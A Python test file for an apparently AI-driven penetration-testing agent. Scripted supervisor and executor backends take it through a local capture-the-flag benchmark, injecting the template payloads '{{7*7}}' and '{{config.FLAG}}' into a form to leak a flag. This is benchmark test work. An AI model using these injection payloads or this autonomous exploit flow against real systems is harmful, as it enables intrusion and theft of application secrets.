from __future__ import annotations

import json
import re
from collections.abc import AsyncIterator
from pathlib import Path
from urllib.parse import urlencode
from urllib.request import Request, urlopen

import pytest
from unified_agent import (
    AgentEvent,
    CommandRun,
    RunOptions,
    SandboxPolicy,
    TurnCompleted,
    UnifiedAgent,
)

from pentestgpt_agent.agents import (
    EXECUTOR_INSTRUCTIONS,
    SUPERVISOR_INSTRUCTIONS,
    Executor,
    Supervisor,
)
from pentestgpt_agent.loop import PentestLoop
from pentestgpt_agent.memory import MemoryKernel, RunSpec, RunStatus
from pentestgpt_agent.trace import EpisodeRunner, TraceStore
from tests.support.local_target import local_template_target


class BenchmarkSupervisorBackend:
    name = "scripted"

    def __init__(self, target: str) -> None:
        self.target = target
        self.calls = 0

    async def stream(self, prompt: str, opts: RunOptions) -> AsyncIterator[AgentEvent]:
        state = json.loads(prompt.split("\n\n", 1)[1])
        if self.calls == 0:
            output = self._decision(
                revision=0,
                task_id="discover-application",
                kind="discover",
                objective="Inspect the application entry point and identify reachable forms.",
                done_when="A reachable input surface is recorded.",
                basis_ids=[],
            )
        elif self.calls == 1:
            output = self._decision(
                revision=2,
                task_id="test-template-input",
                kind="test",
                objective="Confirm whether the name input evaluates a template expression.",
                done_when="Arithmetic evaluation is captured in command output.",
                basis_ids=[state["observations"][0]["id"]],
                depends_on=["discover-application"],
            )
        elif self.calls == 2:
            output = self._decision(
                revision=4,
                task_id="exploit-template-input",
                kind="exploit",
                objective="Use the confirmed template evaluation to retrieve the benchmark flag.",
                done_when="The flag is captured in command output.",
                basis_ids=[state["observations"][-1]["id"]],
                depends_on=["test-template-input"],
            )
        else:
            output = {
                "base_revision": 6,
                "new_tasks": [],
                "next_task_id": None,
                "finish": True,
                "finish_basis_ids": [state["observations"][-1]["id"]],
                "summary": "The benchmark flag was captured.",
            }
        self.calls += 1
        yield TurnCompleted(success=True, structured_output=output)

    def _decision(
        self,
        *,
        revision: int,
        task_id: str,
        kind: str,
        objective: str,
        done_when: str,
        basis_ids: list[str],
        depends_on: list[str] | None = None,
    ) -> dict[str, object]:
        return {
            "base_revision": revision,
            "new_tasks": [
                {
                    "id": task_id,
                    "kind": kind,
                    "target": self.target,
                    "objective": objective,
                    "done_when": done_when,
                    "basis_ids": basis_ids,
                    "depends_on": depends_on or [],
                }
            ],
            "next_task_id": task_id,
            "finish": False,
            "finish_basis_ids": [],
            "summary": objective,
        }


class BenchmarkExecutorBackend:
    name = "scripted"

    def __init__(self, target: str) -> None:
        self.target = target
        self.calls = 0

    async def stream(self, prompt: str, opts: RunOptions) -> AsyncIterator[AgentEvent]:
        envelope = json.loads(prompt.split("\n\n", 1)[1])
        if self.calls == 0:
            assert envelope["basis"] == []
            command = f"GET {self.target}/"
            with urlopen(f"{self.target}/", timeout=2) as response:
                output = response.read().decode()
            summary = "The landing page exposes the /apply driver application form."
            excerpt = "/apply"
            task_id = "discover-application"
        elif self.calls == 1:
            assert envelope["basis"] == [
                {
                    "evidence": "/apply",
                    "id": envelope["basis"][0]["id"],
                    "kind": "discover",
                    "objective": "Inspect the application entry point and identify reachable forms.",
                    "target": self.target,
                    "task_id": "discover-application",
                }
            ]
            command = f"POST {self.target}/apply name={{{{7*7}}}}"
            body = urlencode({"name": "{{7*7}}"}).encode()
            request = Request(f"{self.target}/apply", data=body, method="POST")
            with urlopen(request, timeout=2) as response:
                output = response.read().decode()
            excerpt = "Application received for 49"
            assert excerpt in output
            summary = "The arithmetic expression evaluated to 49."
            task_id = "test-template-input"
        else:
            assert envelope["basis"] == [
                {
                    "evidence": "Application received for 49",
                    "id": envelope["basis"][0]["id"],
                    "kind": "test",
                    "objective": "Confirm whether the name input evaluates a template expression.",
                    "target": self.target,
                    "task_id": "test-template-input",
                }
            ]
            command = f"POST {self.target}/apply name={{{{config.FLAG}}}}"
            body = urlencode({"name": "{{config.FLAG}}"}).encode()
            request = Request(f"{self.target}/apply", data=body, method="POST")
            with urlopen(request, timeout=2) as response:
                output = response.read().decode()
            match = re.search(r"FLAG\{[0-9a-f]+\}", output)
            assert match is not None
            excerpt = match.group(0)
            summary = f"Template evaluation exposed benchmark flag {excerpt}."
            task_id = "exploit-template-input"
        self.calls += 1
        yield CommandRun(command=command, exit_code=0, output=output)
        yield TurnCompleted(
            success=True,
            structured_output={
                "task_id": task_id,
                "outcome": "done",
                "summary": summary,
                "evidence_excerpt": excerpt,
            },
        )


@pytest.mark.asyncio
async def test_local_template_injection_benchmark_reaches_a_grounded_flag(
    tmp_path: Path,
) -> None:
    with local_template_target() as benchmark:
        target = benchmark.url
        flag = benchmark.flag
        traces = TraceStore(tmp_path / "runs")
        supervisor = Supervisor(
            EpisodeRunner(
                UnifiedAgent(
                    BenchmarkSupervisorBackend(target),
                    workspace=tmp_path / "supervisor",
                    sandbox=SandboxPolicy.FULL_ACCESS,
                    instructions=SUPERVISOR_INSTRUCTIONS,
                ),
                traces,
            )
        )
        executor = Executor(
            EpisodeRunner(
                UnifiedAgent(
                    BenchmarkExecutorBackend(target),
                    workspace=tmp_path / "executor",
                    sandbox=SandboxPolicy.FULL_ACCESS,
                    instructions=EXECUTOR_INSTRUCTIONS,
                ),
                traces,
            )
        )
        result = await PentestLoop(
            memory=MemoryKernel(tmp_path / "state.sqlite3"),
            supervisor=supervisor,
            executor=executor,
            traces=traces,
        ).run(
            RunSpec(
                run_id="local-benchmark",
                goal="Capture the flag from the authorized local target.",
                allowed_targets=(target,),
            )
        )

    assert result.status is RunStatus.COMPLETED
    assert any(flag in observation.statement for observation in result.observations)
    flag_observation = next(
        observation for observation in result.observations if flag in observation.statement
    )
    evidence_trace = traces.load(result.run_id, flag_observation.trace_episode_id)
    assert any(
        flag in str(event.get("output", ""))
        for event in evidence_trace.events
        if event["sequence"] in flag_observation.evidence_sequences
    )
